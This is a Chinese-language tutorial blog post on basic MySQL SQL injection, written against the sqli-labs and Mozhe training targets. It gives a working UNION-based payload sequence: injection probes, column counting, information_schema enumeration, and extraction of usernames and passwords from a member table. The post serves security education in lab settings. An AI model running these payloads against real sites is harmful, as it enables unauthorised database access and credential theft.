12、WEB漏洞-SQL注入之简要SQL注入

前言

再本次课程中,SQL注入漏洞将是重点部分,其中SQL注入有非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关相关SQL注入的核心。同意此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘修复也很重要的。

img

案例演示

简易代码分析SQL注入原理

SQLilabs注入靶场搭建简要使用

墨者靶机真实mysql注入演示

简要内容集锦
忍者安全测试系统使用说明

#上述思维导图简要说明
#SQL注入安全测试中危害
#SQL注入产生原理详细分析
可控变量 代入数据库查询 变量未过滤或过滤不严谨

#搭建SQLilabs
#学习第一个数据库MYsql简单注入

如何判断注入点?

老办法:

and 1=1 页面正常
and 1=2 页面错误
如何判断注入点:
    and 1=1 页面正常
    and 1=2 页面错误
    可能存在注入点
选用经验最足的方法去测试:
    或 且 非 三种逻辑判断符
    判断输入的字符是否对页面造成影响,带入数据库进行了查询。

MYSQL数据库
数据库A=网站A=数据库用户A

 表名
     列名
         数据

数据库B=网站B=数据库用户B
。。。。
数据库C=网站C=数据库用户C
。。。。

必要知识点

1、

在mysql的5.0以上版本中,自带一个information_schema数据库名,存储数据库所有的信息,具有表schemata(数据库名)tables(表名)columns(列名字段名)

SCHEMA_NAME字段用来存储数据库名,TABLE_SCHEMA字段用来存储表名,
table_schema和table_name分别来存储数据库名和表名
information_schema.tables 记录所有的表
information_schema.columns 记录所有的列
也相当于可以通过查询他获取指定数据库下面的表明或列名信息。

2、数据库中‘.’符号表示下一级,如yapeng.user表示yapeng数据库的user表名

 information_schema.tables:记录所有表名信息的表
 information_schema.columns:记录所有列名信息的表
table_schema:数据库名
table_name:表名
 column_name:列名

判断注入
猜解列名数量(字段数)

order by x 错误与正常的正常值

 ?id=1 order by 4

报错猜解准备

 ?id=1 union select 1,2,3,4
?id=-1 union select 1,database(),3,4

信息收集:

 数据库版本:version()
 数据库名字:database()
 数据库用户:user()
 操作系统:@@version_compile_os

查询指定数据库名mozhe下的表名信息

 ?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询指定表名member下的列名信息

 ?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member'

查询指定数据

?id=-1 union select 1,name,password,4 from StormGroup_member

#猜解多个数据可以采用limit x,1 变动x猜解

涉及资源

https://github.com/Audi-1/sqli-labs

忍者安全测试系统-禁用软盘安装

https://www.mozhe.cn/bug/detail/eIRHc1BCd2VlckQxbjduMG9BVCtkZz09bW96aGUmozhe

最后修改:2021 年 07 月 15 日 06 : 58 PM
如果觉得我的文章对你有用,请随意赞赏